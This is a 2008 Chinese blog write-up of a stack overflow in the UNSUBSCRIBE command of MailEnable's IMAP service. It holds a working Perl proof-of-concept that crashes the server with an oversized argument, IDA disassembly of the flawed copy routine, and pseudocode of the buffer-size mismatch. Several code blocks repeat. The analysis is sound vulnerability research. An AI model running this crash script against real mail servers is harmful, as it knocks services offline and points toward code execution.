[Tips]MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出
by 云舒
2008-03-13
http://www.ph4nt0m.org
今天看了下MailEnable的IMAP服务UNSUBSCRIBE命令超长参数溢出问题。有点麻烦,看了快两天才弄清楚,希望没看错。主要是用IDA反汇编,然后结合OD一起看的。先用perl写了个脚本测试,代码很简单:
#!/use/bin/perl
use strict;
use warnings;
use IO::Socket;
if( @ARGV != 3 )
{
print "imail_subscribe.pl <host> <username> <password>\n";
exit( -1 );
}
my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error.\n";
my $res = <$sock>;
print $res;
if( $res !~ /OK/ )
{
exit( -1 );
}
# login
print $sock "0 LOGIN $user $pass\r\n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
if( $res !~ /OK/ )
{
exit(-1);
}
# select
print $sock "2 SELECT INBOX\r\n";
while( <$sock> )
{
print $_;
if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )
{
last;
}
}
my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code\r\n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
#exit
print $sock "4 LOGOUT\r\n";
print <$sock>;
$sock->close();
use strict;
use warnings;
use IO::Socket;
if( @ARGV != 3 )
{
print "imail_subscribe.pl <host> <username> <password>\n";
exit( -1 );
}
my $host = $ARGV[0];
my $user = $ARGV[1];
my $pass = $ARGV[2];
my $sock = IO::Socket::INET->new( PeerHost=>$host, PeerPort=>"143", proto=>"tcp" ) || die "Connect error.\n";
my $res = <$sock>;
print $res;
if( $res !~ /OK/ )
{
exit( -1 );
}
# login
print $sock "0 LOGIN $user $pass\r\n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
if( $res !~ /OK/ )
{
exit(-1);
}
# select
print $sock "2 SELECT INBOX\r\n";
while( <$sock> )
{
print $_;
if( $_ =~ /2 OK/ || $_ =~ /2 BAD/ )
{
last;
}
}
my $test_code = "AB" x 800;
print $sock "3 UNSUBSCRIBE $test_code\r\n";
$res = <$sock>;
if( ! defined($res) )
{
exit(-1);
}
print $res;
#exit
print $sock "4 LOGOUT\r\n";
print <$sock>;
$sock->close();
第一个断点下在0x00424631这里。至于为什么,理由很简单,这里是在判断命令,而且恰好是开始判断UNSUBSCRIBE命令,我们从头开始走下去,看看到底出了什么问题。开始是一个字符串比较,随后一个拷贝,走到下面出现异常。
.text:00424662 add esp, 8
.text:00424665 mov eax, [ebp+arg_0]
.text:00424668 push eax
.text:00424669 call sub_419E90
.text:00424665 mov eax, [ebp+arg_0]
.text:00424668 push eax
.text:00424669 call sub_419E90
第二次跟进sub_419E90,一开始,就分配了栈内存,
.text:00419E93 sub esp, 588h
随后调用sub_412430是判断状态,当前是否可以执行UNSUBSCRIBE命令。判断完成后我们会跳到下面这里,查找空格解析命令和参数。
.text:00419F00 push offset asc_488DF8 ; " "
.text:00419F05 mov edx, [ebp+arg_0]
.text:00419F08 add edx, 1BACh
.text:00419F0E push edx ; char *
.text:00419F0F call _strstr ; 查找空格
.text:00419F05 mov edx, [ebp+arg_0]
.text:00419F08 add edx, 1BACh
.text:00419F0E push edx ; char *
.text:00419F0F call _strstr ; 查找空格
参数解析完成后,再次转跳到下面的位置,注意这里会进行拷贝,将传入的参数拷贝到栈内存中。
.text:00419F7C push 800h ; int
.text:00419F81 mov eax, [ebp+var_584]
.text:00419F87 add eax, 1
.text:00419F8A push eax ; char *
.text:00419F8B lea ecx, [ebp+var_480]
.text:00419F91 push ecx ; char *
.text:00419F92 call sub_43B100 ; 安全拷贝
.text:00419F81 mov eax, [ebp+var_584]
.text:00419F87 add eax, 1
.text:00419F8A push eax ; char *
.text:00419F8B lea ecx, [ebp+var_480]
.text:00419F91 push ecx ; char *
.text:00419F92 call sub_43B100 ; 安全拷贝
跟进sub_43B100子函数,代码如下:
.text:0043B100 push ebp
.text:0043B101 mov ebp, esp
.text:0043B103 push ecx
.text:0043B104 mov eax, [ebp+arg_4]
.text:0043B107 push eax ; char *
.text:0043B108 call _strlen
.text:0043B108
.text:0043B10D add esp, 4
.text:0043B110 mov [ebp+var_4], eax
.text:0043B113 mov ecx, [ebp+var_4]
.text:0043B116 cmp ecx, [ebp+arg_8]
.text:0043B119 jge short loc_43B12D
.text:0043B119
.text:0043B11B mov edx, [ebp+arg_4]
.text:0043B11E push edx ; char *
.text:0043B11F mov eax, [ebp+arg_0]
.text:0043B122 push eax ; char *
.text:0043B123 call _strcpy
.text:0043B123
.text:0043B128 add esp, 8
.text:0043B12B jmp short loc_43B150
.text:0043B12B
.text:0043B12D ---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D: ; CODE XREF: sub_43B100+19
.text:0043B12D mov ecx, [ebp+arg_8]
.text:0043B130 sub ecx, 1
.text:0043B133 push ecx ; size_t
.text:0043B134 mov edx, [ebp+arg_4]
.text:0043B137 push edx ; char *
.text:0043B138 mov eax, [ebp+arg_0]
.text:0043B13B push eax ; char *
.text:0043B13C call _strncpy
.text:0043B13C
.text:0043B141 add esp, 0Ch
.text:0043B144 mov ecx, [ebp+arg_0]
.text:0043B147 add ecx, [ebp+arg_8]
.text:0043B14A mov byte ptr [ecx-1], 0
.text:0043B14E xor eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150: ; CODE XREF: sub_43B100+2B
.text:0043B150 mov esp, ebp
.text:0043B152 pop ebp
.text:0043B153 retn 0Ch
.text:0043B101 mov ebp, esp
.text:0043B103 push ecx
.text:0043B104 mov eax, [ebp+arg_4]
.text:0043B107 push eax ; char *
.text:0043B108 call _strlen
.text:0043B108
.text:0043B10D add esp, 4
.text:0043B110 mov [ebp+var_4], eax
.text:0043B113 mov ecx, [ebp+var_4]
.text:0043B116 cmp ecx, [ebp+arg_8]
.text:0043B119 jge short loc_43B12D
.text:0043B119
.text:0043B11B mov edx, [ebp+arg_4]
.text:0043B11E push edx ; char *
.text:0043B11F mov eax, [ebp+arg_0]
.text:0043B122 push eax ; char *
.text:0043B123 call _strcpy
.text:0043B123
.text:0043B128 add esp, 8
.text:0043B12B jmp short loc_43B150
.text:0043B12B
.text:0043B12D ---------------------------------------------------------------------------
.text:0043B12D
.text:0043B12D loc_43B12D: ; CODE XREF: sub_43B100+19
.text:0043B12D mov ecx, [ebp+arg_8]
.text:0043B130 sub ecx, 1
.text:0043B133 push ecx ; size_t
.text:0043B134 mov edx, [ebp+arg_4]
.text:0043B137 push edx ; char *
.text:0043B138 mov eax, [ebp+arg_0]
.text:0043B13B push eax ; char *
.text:0043B13C call _strncpy
.text:0043B13C
.text:0043B141 add esp, 0Ch
.text:0043B144 mov ecx, [ebp+arg_0]
.text:0043B147 add ecx, [ebp+arg_8]
.text:0043B14A mov byte ptr [ecx-1], 0
.text:0043B14E xor eax, eax
.text:0043B14E
.text:0043B150
.text:0043B150 loc_43B150: ; CODE XREF: sub_43B100+2B
.text:0043B150 mov esp, ebp
.text:0043B152 pop ebp
.text:0043B153 retn 0Ch
可以看到,这里先判断源字符串的长度是否大于0x800,如果大于就调用strncpy拷贝0x800-1个字节。如果小于,就调用strcpy拷贝所有的字符串。但是搞笑的是,在sub_43B100的父函数中分配的内存是0x588,而调用sub_43B100的时候,传递的最大长度是0x800。伪代码如下:
void my_strcpy( char *dst, char *src, int len )
{
if( strlen( src ) >= len )
{
strncpy( dst, src, len - 1 );
}
else
{
strcpy( dst, src );
}
}
void vuln( char *src, .. .. )
{
char dst[0x480] = { 0 };
my_strcpy( dst, src, 0x800 );
.. .. ..
}
{
if( strlen( src ) >= len )
{
strncpy( dst, src, len - 1 );
}
else
{
strcpy( dst, src );
}
}
void vuln( char *src, .. .. )
{
char dst[0x480] = { 0 };
my_strcpy( dst, src, 0x800 );
.. .. ..
}
这里的长度有限制,覆盖不到SEH。虽然可以覆盖到vuln的返回地址,但是在vuln返回之前就异常了,在一次strlen调用中,eax被字符串覆盖改写导致读取异常。小心的调整字符串,应该是可以顺利执行下去最后执行shellcode的,不过我没那耐心,也没那时间。
没有评论:
发表评论